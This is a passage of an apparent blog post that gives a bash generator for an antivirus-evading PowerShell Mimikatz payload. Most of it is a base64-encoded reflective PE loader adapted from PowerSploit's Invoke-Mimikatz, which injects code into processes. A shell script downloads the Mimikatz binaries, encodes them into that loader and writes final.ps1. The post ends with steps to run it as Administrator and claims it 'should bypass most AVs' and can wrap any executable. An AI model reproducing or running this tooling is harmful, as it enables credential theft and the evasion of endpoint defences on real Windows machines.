T3JpZ2luYWwsIFtVSW50UHRyXVtVSW50NjRdJFNDTGVuZ3RoLCBbUmVmXSROdW1CeXRlc1dyaXR0
ZW4pCgkJCQlpZiAoKCRTdWNjZXNzIC1lcSAkZmFsc2UpIC1vciAoW1VJbnQ2NF0kTnVtQnl0ZXNX
cml0dGVuIC1uZSBbVUludDY0XSRTQ0xlbmd0aCkpCgkJCQl7CgkJCQkJVGhyb3cgIlVuYWJsZSB0
byB3cml0ZSBzaGVsbGNvZGUgdG8gcmVtb3RlIHByb2Nlc3MgbWVtb3J5LiIKCQkJCX0KCgkJCQkk
UlRocmVhZEhhbmRsZSA9IEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQgLVByb2Nlc3NIYW5kbGUg
JFJlbW90ZVByb2NIYW5kbGUgLVN0YXJ0QWRkcmVzcyAkUlNDQWRkciAtV2luMzJGdW5jdGlvbnMg
JFdpbjMyRnVuY3Rpb25zCgkJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLldhaXRGb3JTaW5n
bGVPYmplY3QuSW52b2tlKCRSVGhyZWFkSGFuZGxlLCAyMDAwMCkKCQkJCWlmICgkUmVzdWx0IC1u
ZSAwKQoJCQkJewoJCQkJCVRocm93ICJDYWxsIHRvIENyZWF0ZVJlbW90ZVRocmVhZCB0byBjYWxs
IEdldFByb2NBZGRyZXNzIGZhaWxlZC4iCgkJCQl9CgkJCQkKCQkJCSRXaW4zMkZ1bmN0aW9ucy5W
aXJ0dWFsRnJlZUV4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsIFtVSW50UHRy
XVtVSW50NjRdMCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRUxFQVNFKSB8IE91dC1OdWxsCgkJCX0K
CQl9CgkJZWxzZWlmICgkUEVJbmZvLkZpbGVUeXBlIC1pZXEgIkVYRSIpCgkJewoKCQkJW0ludFB0
cl0kRXhlRG9uZUJ5dGVQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo
YWxdOjpBbGxvY0hHbG9iYWwoMSkKCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N
YXJzaGFsXTo6V3JpdGVCeXRlKCRFeGVEb25lQnl0ZVB0ciwgMCwgMHgwMCkKCQkJJE92ZXJ3cml0
dGVuTWVtSW5mbyA9IFVwZGF0ZS1FeGVGdW5jdGlvbnMgLVBFSW5mbyAkUEVJbmZvIC1XaW4zMkZ1
bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cyAt
RXhlQXJndW1lbnRzICRFeGVBcmdzIC1FeGVEb25lQnl0ZVB0ciAkRXhlRG9uZUJ5dGVQdHIKCgoK
CQkJW0ludFB0cl0kRXhlTWFpblB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVJbmZv
LlBFSGFuZGxlKSAoJFBFSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkFkZHJl
c3NPZkVudHJ5UG9pbnQpCgkJCVdyaXRlLVZlcmJvc2UgIkNhbGwgRVhFIE1haW4gZnVuY3Rpb24u
IEFkZHJlc3M6ICRFeGVNYWluUHRyLiBDcmVhdGluZyB0aHJlYWQgZm9yIHRoZSBFWEUgdG8gcnVu
IGluLiIKCgkJCSRXaW4zMkZ1bmN0aW9ucy5DcmVhdGVUaHJlYWQuSW52b2tlKFtJbnRQdHJdOjpa
ZXJvLCBbSW50UHRyXTo6WmVybywgJEV4ZU1haW5QdHIsIFtJbnRQdHJdOjpaZXJvLCAoW1VJbnQz
Ml0wKSwgW1JlZl0oW1VJbnQzMl0wKSkgfCBPdXQtTnVsbAoKCQkJd2hpbGUoJHRydWUpCgkJCXsK
CQkJCVtCeXRlXSRUaHJlYWREb25lID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N
YXJzaGFsXTo6UmVhZEJ5dGUoJEV4ZURvbmVCeXRlUHRyLCAwKQoJCQkJaWYgKCRUaHJlYWREb25l
IC1lcSAxKQoJCQkJewoJCQkJCUNvcHktQXJyYXlPZk1lbUFkZHJlc3NlcyAtQ29weUluZm8gJE92
ZXJ3cml0dGVuTWVtSW5mbyAtV2luMzJGdW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zIC1XaW4zMkNv
bnN0YW50cyAkV2luMzJDb25zdGFudHMKCQkJCQlXcml0ZS1WZXJib3NlICJFWEUgdGhyZWFkIGhh
cyBjb21wbGV0ZWQuIgoJCQkJCWJyZWFrCgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJU3RhcnQt
U2xlZXAgLVNlY29uZHMgMQoJCQkJfQoJCQl9CgkJfQoJCQoJCXJldHVybiBAKCRQRUluZm8uUEVI
YW5kbGUsICRFZmZlY3RpdmVQRUhhbmRsZSkKCX0KCQoJCglGdW5jdGlvbiBJbnZva2UtTWVtb3J5
RnJlZUxpYnJhcnkKCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTAsIE1hbmRhdG9y
eT0kdHJ1ZSldCgkJW0ludFB0cl0KCQkkUEVIYW5kbGUKCQkpCgkJCgoJCSRXaW4zMkNvbnN0YW50
cyA9IEdldC1XaW4zMkNvbnN0YW50cwoJCSRXaW4zMkZ1bmN0aW9ucyA9IEdldC1XaW4zMkZ1bmN0
aW9ucwoJCSRXaW4zMlR5cGVzID0gR2V0LVdpbjMyVHlwZXMKCQkKCQkkUEVJbmZvID0gR2V0LVBF
RGV0YWlsZWRJbmZvIC1QRUhhbmRsZSAkUEVIYW5kbGUgLVdpbjMyVHlwZXMgJFdpbjMyVHlwZXMg
LVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cwoJCQoKCQlpZiAoJFBFSW5mby5JTUFHRV9O
VF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkltcG9ydFRhYmxlLlNpemUgLWd0IDApCgkJewoJCQlb
SW50UHRyXSRJbXBvcnREZXNjcmlwdG9yUHRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJ
bnQ2NF0kUEVJbmZvLlBFSGFuZGxlKSAoW0ludDY0XSRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5P
cHRpb25hbEhlYWRlci5JbXBvcnRUYWJsZS5WaXJ0dWFsQWRkcmVzcykKCQkJCgkJCXdoaWxlICgk
dHJ1ZSkKCQkJewoJCQkJJEltcG9ydERlc2NyaXB0b3IgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJv
cFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkSW1wb3J0RGVzY3JpcHRvclB0ciwg
W1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfSU1QT1JUX0RFU0NSSVBUT1IpCgkJCQkKCgkJCQlpZiAo
JEltcG9ydERlc2NyaXB0b3IuQ2hhcmFjdGVyaXN0aWNzIC1lcSAwIGAKCQkJCQkJLWFuZCAkSW1w
b3J0RGVzY3JpcHRvci5GaXJzdFRodW5rIC1lcSAwIGAKCQkJCQkJLWFuZCAkSW1wb3J0RGVzY3Jp
cHRvci5Gb3J3YXJkZXJDaGFpbiAtZXEgMCBgCgkJCQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3Iu
TmFtZSAtZXEgMCBgCgkJCQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3IuVGltZURhdGVTdGFtcCAt
ZXEgMCkKCQkJCXsKCQkJCQlXcml0ZS1WZXJib3NlICJEb25lIHVubG9hZGluZyB0aGUgbGlicmFy
aWVzIG5lZWRlZCBieSB0aGUgUEUiCgkJCQkJYnJlYWsKCQkJCX0KCgkJCQkkSW1wb3J0RGxsUGF0
aCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RyaW5n
QW5zaSgoQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kUEVJbmZvLlBFSGFuZGxlKSAo
W0ludDY0XSRJbXBvcnREZXNjcmlwdG9yLk5hbWUpKSkKCQkJCSRJbXBvcnREbGxIYW5kbGUgPSAk
V2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgkSW1wb3J0RGxsUGF0aCkKCgkJ
CQlpZiAoJEltcG9ydERsbEhhbmRsZSAtZXEgJG51bGwpCgkJCQl7CgkJCQkJV3JpdGUtV2Fybmlu
ZyAiRXJyb3IgZ2V0dGluZyBETEwgaGFuZGxlIGluIE1lbW9yeUZyZWVMaWJyYXJ5LCBETExOYW1l
OiAkSW1wb3J0RGxsUGF0aC4gQ29udGludWluZyBhbnl3YXlzIiAtV2FybmluZ0FjdGlvbiBDb250
aW51ZQoJCQkJfQoJCQkJCgkJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5GcmVlTGlicmFy
eS5JbnZva2UoJEltcG9ydERsbEhhbmRsZSkKCQkJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQoJ
CQkJewoJCQkJCVdyaXRlLVdhcm5pbmcgIlVuYWJsZSB0byBmcmVlIGxpYnJhcnk6ICRJbXBvcnRE
bGxQYXRoLiBDb250aW51aW5nIGFueXdheXMuIiAtV2FybmluZ0FjdGlvbiBDb250aW51ZQoJCQkJ
fQoJCQkJCgkJCQkkSW1wb3J0RGVzY3JpcHRvclB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVk
ICgkSW1wb3J0RGVzY3JpcHRvclB0cikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu
TWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9JTVBPUlRfREVTQ1JJUFRP
UikpCgkJCX0KCQl9CgkJCgoJCVdyaXRlLVZlcmJvc2UgIkNhbGxpbmcgZGxsbWFpbiBzbyB0aGUg
RExMIGtub3dzIGl0IGlzIGJlaW5nIHVubG9hZGVkIgoJCSREbGxNYWluUHRyID0gQWRkLVNpZ25l
ZEludEFzVW5zaWduZWQgKCRQRUluZm8uUEVIYW5kbGUpICgkUEVJbmZvLklNQUdFX05UX0hFQURF
UlMuT3B0aW9uYWxIZWFkZXIuQWRkcmVzc09mRW50cnlQb2ludCkKCQkkRGxsTWFpbkRlbGVnYXRl
ID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0pIChbQm9v
bF0pCgkJJERsbE1haW4gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd
OjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkRGxsTWFpblB0ciwgJERsbE1haW5EZWxl
Z2F0ZSkKCQkKCQkkRGxsTWFpbi5JbnZva2UoJFBFSW5mby5QRUhhbmRsZSwgMCwgW0ludFB0cl06
Olplcm8pIHwgT3V0LU51bGwKCQkKCQkKCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0
dWFsRnJlZS5JbnZva2UoJFBFSGFuZGxlLCBbVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1f
UkVMRUFTRSkKCQlpZiAoJFN1Y2Nlc3MgLWVxICRmYWxzZSkKCQl7CgkJCVdyaXRlLVdhcm5pbmcg
IlVuYWJsZSB0byBjYWxsIFZpcnR1YWxGcmVlIG9uIHRoZSBQRSdzIG1lbW9yeS4gQ29udGludWlu
ZyBhbnl3YXlzLiIgLVdhcm5pbmdBY3Rpb24gQ29udGludWUKCQl9Cgl9CgoKCUZ1bmN0aW9uIE1h
aW4KCXsKCQkkV2luMzJGdW5jdGlvbnMgPSBHZXQtV2luMzJGdW5jdGlvbnMKCQkkV2luMzJUeXBl
cyA9IEdldC1XaW4zMlR5cGVzCgkJJFdpbjMyQ29uc3RhbnRzID0gIEdldC1XaW4zMkNvbnN0YW50
cwoJCQoJCSRSZW1vdGVQcm9jSGFuZGxlID0gW0ludFB0cl06Olplcm8KCQoKCQlpZiAoKCRQcm9j
SWQgLW5lICRudWxsKSAtYW5kICgkUHJvY0lkIC1uZSAwKSAtYW5kICgkUHJvY05hbWUgLW5lICRu
dWxsKSAtYW5kICgkUHJvY05hbWUgLW5lICIiKSkKCQl7CgkJCVRocm93ICJDYW4ndCBzdXBwbHkg
YSBQcm9jSWQgYW5kIFByb2NOYW1lLCBjaG9vc2Ugb25lIG9yIHRoZSBvdGhlciIKCQl9CgkJZWxz
ZWlmICgkUHJvY05hbWUgLW5lICRudWxsIC1hbmQgJFByb2NOYW1lIC1uZSAiIikKCQl7CgkJCSRQ
cm9jZXNzZXMgPSBAKEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jTmFtZSAtRXJyb3JBY3Rpb24gU2ls
ZW50bHlDb250aW51ZSkKCQkJaWYgKCRQcm9jZXNzZXMuQ291bnQgLWVxIDApCgkJCXsKCQkJCVRo
cm93ICJDYW4ndCBmaW5kIHByb2Nlc3MgJFByb2NOYW1lIgoJCQl9CgkJCWVsc2VpZiAoJFByb2Nl
c3Nlcy5Db3VudCAtZ3QgMSkKCQkJewoJCQkJJFByb2NJbmZvID0gR2V0LVByb2Nlc3MgfCB3aGVy
ZSB7ICRfLk5hbWUgLWVxICRQcm9jTmFtZSB9IHwgU2VsZWN0LU9iamVjdCBQcm9jZXNzTmFtZSwg
SWQsIFNlc3Npb25JZAoJCQkJV3JpdGUtT3V0cHV0ICRQcm9jSW5mbwoJCQkJVGhyb3cgIk1vcmUg
dGhhbiBvbmUgaW5zdGFuY2Ugb2YgJFByb2NOYW1lIGZvdW5kLCBwbGVhc2Ugc3BlY2lmeSB0aGUg
cHJvY2VzcyBJRCB0byBpbmplY3QgaW4gdG8uIgoJCQl9CgkJCWVsc2UKCQkJewoJCQkJJFByb2NJ
ZCA9ICRQcm9jZXNzZXNbMF0uSUQKCQkJfQoJCX0KCQkKCgoKCgoKCgkJCgkJaWYgKCgkUHJvY0lk
IC1uZSAkbnVsbCkgLWFuZCAoJFByb2NJZCAtbmUgMCkpCgkJewoJCQkkUmVtb3RlUHJvY0hhbmRs
ZSA9ICRXaW4zMkZ1bmN0aW9ucy5PcGVuUHJvY2Vzcy5JbnZva2UoMHgwMDFGMEZGRiwgJGZhbHNl
LCAkUHJvY0lkKQoJCQlpZiAoJFJlbW90ZVByb2NIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQoJ
CQl7CgkJCQlUaHJvdyAiQ291bGRuJ3Qgb2J0YWluIHRoZSBoYW5kbGUgZm9yIHByb2Nlc3MgSUQ6
ICRQcm9jSWQiCgkJCX0KCQkJCgkJCVdyaXRlLVZlcmJvc2UgIkdvdCB0aGUgaGFuZGxlIGZvciB0
aGUgcmVtb3RlIHByb2Nlc3MgdG8gaW5qZWN0IGluIHRvIgoJCX0KCQkKCgoJCVdyaXRlLVZlcmJv
c2UgIkNhbGxpbmcgSW52b2tlLU1lbW9yeUxvYWRMaWJyYXJ5IgoKICAgICAgICB0cnkKICAgICAg
ICB7CiAgICAgICAgICAgICRQcm9jZXNzb3JzID0gR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJf
UHJvY2Vzc29yCiAgICAgICAgfQogICAgICAgIGNhdGNoCiAgICAgICAgewogICAgICAgICAgICB0
aHJvdyAoJF8uRXhjZXB0aW9uKQogICAgICAgIH0KCiAgICAgICAgaWYgKCRQcm9jZXNzb3JzIC1p
cyBbYXJyYXldKQogICAgICAgIHsKICAgICAgICAgICAgJFByb2Nlc3NvciA9ICRQcm9jZXNzb3Jz
WzBdCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJFByb2Nlc3NvciA9ICRQcm9jZXNzb3Jz
CiAgICAgICAgfQoKICAgICAgICBpZiAoICggJFByb2Nlc3Nvci5BZGRyZXNzV2lkdGgpIC1uZSAo
KFtTeXN0ZW0uSW50UHRyXTo6U2l6ZSkqOCkgKQogICAgICAgIHsKICAgICAgICAgICAgV3JpdGUt
VmVyYm9zZSAoICJBcmNoaXRlY3R1cmU6ICIgKyAkUHJvY2Vzc29yLkFkZHJlc3NXaWR0aCArICIg
UHJvY2VzczogIiArIChbU3lzdGVtLkludFB0cl06OlNpemUgKiA4KSkKICAgICAgICAgICAgV3Jp
dGUtRXJyb3IgIlBvd2VyU2hlbGwgYXJjaGl0ZWN0dXJlICgzMmJpdC82NGJpdCkgZG9lc24ndCBt
YXRjaCBPUyBhcmNoaXRlY3R1cmUuIDY0Yml0IFBTIG11c3QgYmUgdXNlZCBvbiBhIDY0Yml0IE9T
LiIgLUVycm9yQWN0aW9uIFN0b3AKICAgICAgICB9CgoKICAgICAgICBpZiAoW1N5c3RlbS5SdW50
aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKSAtZXEg
OCkKICAgICAgICB7CiAgICAgICAgICAgIFtCeXRlW11dJFBFQnl0ZXMgPSBbQnl0ZVtdXVtDb252
ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkUEVCeXRlczY0KQogICAgICAgIH0KICAgICAgICBlbHNl
CiAgICAgICAgewogICAgICAgICAgICBbQnl0ZVtdXSRQRUJ5dGVzID0gW0J5dGVbXV1bQ29udmVy
dF06OkZyb21CYXNlNjRTdHJpbmcoJFBFQnl0ZXMzMikKICAgICAgICB9CiAgICAgICAgJFBFQnl0
ZXNbMF0gPSAwCiAgICAgICAgJFBFQnl0ZXNbMV0gPSAwCgkJJFBFSGFuZGxlID0gW0ludFB0cl06
Olplcm8KCQlpZiAoJFJlbW90ZVByb2NIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJ
JFBFTG9hZGVkSW5mbyA9IEludm9rZS1NZW1vcnlMb2FkTGlicmFyeSAtUEVCeXRlcyAkUEVCeXRl
cyAtRXhlQXJncyAkRXhlQXJncwoJCX0KCQllbHNlCgkJewoJCQkkUEVMb2FkZWRJbmZvID0gSW52
b2tlLU1lbW9yeUxvYWRMaWJyYXJ5IC1QRUJ5dGVzICRQRUJ5dGVzIC1FeGVBcmdzICRFeGVBcmdz
IC1SZW1vdGVQcm9jSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlCgkJfQoJCWlmICgkUEVMb2FkZWRJ
bmZvIC1lcSBbSW50UHRyXTo6WmVybykKCQl7CgkJCVRocm93ICJVbmFibGUgdG8gbG9hZCBQRSwg
aGFuZGxlIHJldHVybmVkIGlzIE5VTEwiCgkJfQoJCQoJCSRQRUhhbmRsZSA9ICRQRUxvYWRlZElu
Zm9bMF0KCQkkUmVtb3RlUEVIYW5kbGUgPSAkUEVMb2FkZWRJbmZvWzFdICNvbmx5IG1hdHRlcnMg
aWYgeW91IGxvYWRlZCBpbiB0byBhIHJlbW90ZSBwcm9jZXNzCgkJCgkJCgoJCSRQRUluZm8gPSBH
ZXQtUEVEZXRhaWxlZEluZm8gLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJU
eXBlcyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzCgkJaWYgKCgkUEVJbmZvLkZpbGVU
eXBlIC1pZXEgIkRMTCIpIC1hbmQgKCRSZW1vdGVQcm9jSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVy
bykpCgkJewoKCgogICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkNhbGxpbmcgZnVu
Y3Rpb24gd2l0aCBXU3RyaW5nIHJldHVybiB0eXBlIgoJCQkJICAgIFtJbnRQdHJdJFdTdHJpbmdG
dW5jQWRkciA9IEdldC1NZW1vcnlQcm9jQWRkcmVzcyAtUEVIYW5kbGUgJFBFSGFuZGxlIC1GdW5j
dGlvbk5hbWUgInBvd2Vyc2hlbGxfcmVmbGVjdGl2ZV9taW1pa2F0eiIKCQkJCSAgICBpZiAoJFdT
dHJpbmdGdW5jQWRkciAtZXEgW0ludFB0cl06Olplcm8pCgkJCQkgICAgewoJCQkJCSAgICBUaHJv
dyAiQ291bGRuJ3QgZmluZCBmdW5jdGlvbiBhZGRyZXNzLiIKCQkJCSAgICB9CgkJCQkgICAgJFdT
dHJpbmdGdW5jRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0pIChbSW50UHRy
XSkKCQkJCSAgICAkV1N0cmluZ0Z1bmMgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2Vz
Lk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkV1N0cmluZ0Z1bmNBZGRy
LCAkV1N0cmluZ0Z1bmNEZWxlZ2F0ZSkKICAgICAgICAgICAgICAgICAgICAkV1N0cmluZ0lucHV0
ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RyaW5nVG9IR2xv
YmFsVW5pKCRFeGVBcmdzKQoJCQkJICAgIFtJbnRQdHJdJE91dHB1dFB0ciA9ICRXU3RyaW5nRnVu
Yy5JbnZva2UoJFdTdHJpbmdJbnB1dCkKICAgICAgICAgICAgICAgICAgICBbU3lzdGVtLlJ1bnRp
bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpGcmVlSEdsb2JhbCgkV1N0cmluZ0lucHV0KQoJ
CQkJICAgIGlmICgkT3V0cHV0UHRyIC1lcSBbSW50UHRyXTo6WmVybykKCQkJCSAgICB7CgkJCQkg
ICAgCVRocm93ICJVbmFibGUgdG8gZ2V0IG91dHB1dCwgT3V0cHV0IFB0ciBpcyBOVUxMIgoJCQkJ
ICAgIH0KCQkJCSAgICBlbHNlCgkJCQkgICAgewoJCQkJICAgICAgICAkT3V0cHV0ID0gW1N5c3Rl
bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJpbmdVbmkoJE91dHB1
dFB0cikKCQkJCSAgICAgICAgV3JpdGUtT3V0cHV0ICRPdXRwdXQKCQkJCSAgICAgICAgJFdpbjMy
RnVuY3Rpb25zLkxvY2FsRnJlZS5JbnZva2UoJE91dHB1dFB0cik7CgkJCQkgICAgfQoKCgoJCX0K
CgkJZWxzZWlmICgoJFBFSW5mby5GaWxlVHlwZSAtaWVxICJETEwiKSAtYW5kICgkUmVtb3RlUHJv
Y0hhbmRsZSAtbmUgW0ludFB0cl06Olplcm8pKQoJCXsKCQkJJFZvaWRGdW5jQWRkciA9IEdldC1N
ZW1vcnlQcm9jQWRkcmVzcyAtUEVIYW5kbGUgJFBFSGFuZGxlIC1GdW5jdGlvbk5hbWUgIlZvaWRG
dW5jIgoJCQlpZiAoKCRWb2lkRnVuY0FkZHIgLWVxICRudWxsKSAtb3IgKCRWb2lkRnVuY0FkZHIg
LWVxIFtJbnRQdHJdOjpaZXJvKSkKCQkJewoJCQkJVGhyb3cgIlZvaWRGdW5jIGNvdWxkbid0IGJl
IGZvdW5kIGluIHRoZSBETEwiCgkJCX0KCQkJCgkJCSRWb2lkRnVuY0FkZHIgPSBTdWItU2lnbmVk
SW50QXNVbnNpZ25lZCAkVm9pZEZ1bmNBZGRyICRQRUhhbmRsZQoJCQkkVm9pZEZ1bmNBZGRyID0g
QWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFZvaWRGdW5jQWRkciAkUmVtb3RlUEVIYW5kbGUKCQkJ
CgoJCQkkUlRocmVhZEhhbmRsZSA9IEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQgLVByb2Nlc3NI
YW5kbGUgJFJlbW90ZVByb2NIYW5kbGUgLVN0YXJ0QWRkcmVzcyAkVm9pZEZ1bmNBZGRyIC1XaW4z
MkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMKCQl9CgkJCgoJCWlmICgkUmVtb3RlUHJvY0hhbmRs
ZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlJbnZva2UtTWVtb3J5RnJlZUxpYnJhcnkgLVBF
SGFuZGxlICRQRUhhbmRsZQoJCX0KCQllbHNlCgkJewoKCQkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5j
dGlvbnMuVmlydHVhbEZyZWUuSW52b2tlKCRQRUhhbmRsZSwgW1VJbnQ2NF0wLCAkV2luMzJDb25z
dGFudHMuTUVNX1JFTEVBU0UpCgkJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQoJCQl7CgkJCQlX
cml0ZS1XYXJuaW5nICJVbmFibGUgdG8gY2FsbCBWaXJ0dWFsRnJlZSBvbiB0aGUgUEUncyBtZW1v
cnkuIENvbnRpbnVpbmcgYW55d2F5cy4iIC1XYXJuaW5nQWN0aW9uIENvbnRpbnVlCgkJCX0KCQl9
CgkJCgkJV3JpdGUtVmVyYm9zZSAiRG9uZSEiCgl9CgoJTWFpbgp9CgoKRnVuY3Rpb24gTWFpbgp7
CglpZiAoKCRQU0NtZGxldC5NeUludm9jYXRpb24uQm91bmRQYXJhbWV0ZXJzWyJEZWJ1ZyJdIC1u
ZSAkbnVsbCkgLWFuZCAkUFNDbWRsZXQuTXlJbnZvY2F0aW9uLkJvdW5kUGFyYW1ldGVyc1siRGVi
dWciXS5Jc1ByZXNlbnQpCgl7CgkJJERlYnVnUHJlZmVyZW5jZSAgPSAiQ29udGludWUiCgl9CgkK
CVdyaXRlLVZlcmJvc2UgIlBvd2VyU2hlbGwgUHJvY2Vzc0lEOiAkUElEIgoJCgoJaWYgKCRQc0Nt
ZGxldC5QYXJhbWV0ZXJTZXROYW1lIC1pZXEgImdldHN0dWZmIikKCXsKCQkkRXhlQXJncyA9ICRD
b21tYW5kIAoJfQogICAgZWxzZQogICAgewogICAgICAgICRFeGVBcmdzID0gJENvbW1hbmQKICAg
IH0KCiAgICBbU3lzdGVtLklPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJHB3ZCkK
CiRQRUJ5dGVzNjQgPSAnCg==
EOF
base64 -d file01 > 01.template

################################################################################
# Put the current URL for the mimikatz binary or put our own build location here 
################################################################################
wget "https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20170608/mimikatz_trunk.zip"

#
# Create a temporary directory for extraction 
#
mkdir -p tt
mv mimikatz_trunk.zip tt
unzip tt/mimikatz_trunk.zip
cp x64/mimikatz.exe ./mimi64.exe
cp Win32/mimikatz.exe ./mimi32.exe
base64 mimi64.exe > mimi64.ascii
base64 mimi32.exe > mimi32.ascii

cat mimi64.ascii | xargs > mimi64-tmp
cat mimi32.ascii | xargs > mimi32-tmp
sed 's/ //g' mimi64-tmp > mimi64-tmp2
sed 's/ //g' mimi32-tmp > mimi32-tmp2
awk '{printf "%s ",$0}' mimi64-tmp2 > mimi64-tmp3
awk '{printf "%s ",$0}' mimi32-tmp2 > mimi32-tmp3
stuff=$(cat mimi64-tmp3)
echo -n $stuff >> 01.template
echo -n "'" >> 01.template
echo "" >> 01.template
stuff2=$(cat mimi32-tmp3)
echo -n '$PEBytes32 =' >> 01.template
echo -n "'" >> 01.template
echo -n $stuff2 >> 01.template
echo -n "'" >> 01.template
echo "" >> 01.template


#########################################################################################################
# Here is the base64 encoded modified powershell tempate from PowershellMafia                #
# https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 #
# Part 02                                                 #
#########################################################################################################
cat << EOF > file02
aWYgKCRDb21wdXRlck5hbWUgLWVxICRudWxsIC1vciAkQ29tcHV0ZXJOYW1lIC1pbWF0Y2ggIl5c
cyokIikKICAgICAgICB7CiAgICAgICAgICAgICAgICBJbnZva2UtQ29tbWFuZCAtU2NyaXB0Qmxv
Y2sgJFJlbW90ZVNjcmlwdEJsb2NrIC1Bcmd1bWVudExpc3QgQCgkUEVCeXRlczY0LCAkUEVCeXRl
czMyLCAiVm9pZCIsIDAsICIiLCAkRXhlQXJncykKICAgICAgICB9CiAgICAgICAgZWxzZQogICAg
ICAgIHsKICAgICAgICAgICAgICAgIEludm9rZS1Db21tYW5kIC1TY3JpcHRCbG9jayAkUmVtb3Rl
U2NyaXB0QmxvY2sgLUFyZ3VtZW50TGlzdCBAKCRQRUJ5dGVzNjQsICRQRUJ5dGVzMzIsICJWb2lk
IiwgMCwgIiIsICRFeGVBcmdzKSAtQ29tcHV0ZXJOYW1lICRDb21wdXRlck5hbWUKICAgICAgICB9
Cn0KCk1haW4KfQoK
EOF
base64 -d file02 > 02.template
cat 01.template 02.template > final.ps1
#
# Clean-up the mess we create .... 
#
rm -rf ./kiwi* ./mimi* ./file* ./tt ./x64 ./Win32 ./README* ./02.template ./01.template

Copy the resulting final.ps1 to the Windows machine where you need to do your stuff..

  • Open cmd.exe with Administrator privs
  • powershell
  • cd \c:\path\to\where\you\placed\the\final.ps1
  • Import-Module .\final.ps1
  • getstuff

And you get the latest Mimikatz shell … should bypass most AVs

And here is a video demo of the above running on Windows 10 64bit and Windows Defender


P.S This can be of course used for any “executable” you can imagine ;)  …. eeh did I say already too much ?

P.P.S I always wondered what the ASCII art in mimikatz ment … it reminds me of only one thing “chatte”  ooh you english pig dogs !  :)

 

Advertisements
Gallery | This entry was posted in Uncategorized. Bookmark the permalink.

2 Responses to Mimikatz 2.1.1 powershell script generator

  1. 6lings says:

    man the asciiart is a kiwi fruit :o because creator’s name is gentilkiwi :)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

